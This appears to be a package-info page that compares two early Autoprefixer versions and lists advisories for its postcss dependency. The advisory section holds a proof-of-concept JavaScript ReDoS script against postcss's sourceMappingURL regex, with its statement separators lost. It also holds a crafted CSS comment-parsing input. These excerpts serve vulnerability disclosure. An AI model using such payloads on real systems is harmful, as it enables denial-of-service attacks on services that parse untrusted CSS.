These two versions of Autoprefixer, 1.0.20140213 and 1.0.20140203, offer a glimpse into the early stages of this crucial CSS tool. Autoprefixer, at its core, automates the addition of vendor prefixes to CSS rules, ensuring compatibility across various web browsers by leveraging data from Can I Use. Both iterations maintain the same core functionality and description, indicating a focus on refining existing features rather than introducing entirely new ones during this period. Shared dependencies like postcss and fs-extra suggest a consistent underlying architecture for CSS parsing and file system operations. Key differences emerge in the devDependencies, specifically browserify. The update from version 3.24.10 to 3.28.2 signifies improvements or bug fixes in how the library is bundled for browser use, potentially impacting build processes or the size of the final output.
The upgrade highlights the ongoing effort to improve the developer experience. The later version would likely offer enhanced performance, stability, or new features related to browser-side bundling. For developers, this means potentially faster build times or a smaller footprint for their CSS. Although the changes appear incremental, these improvements are essential for developers incorporating Autoprefixer into their workflow, ensuring a smoother and more efficient CSS development process. The continuous updates also point at the active maintenance of the package and its commitment to staying current with evolving web browser compatibility standards.
All the vulnerabilities related to the version 1.0.20140213 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.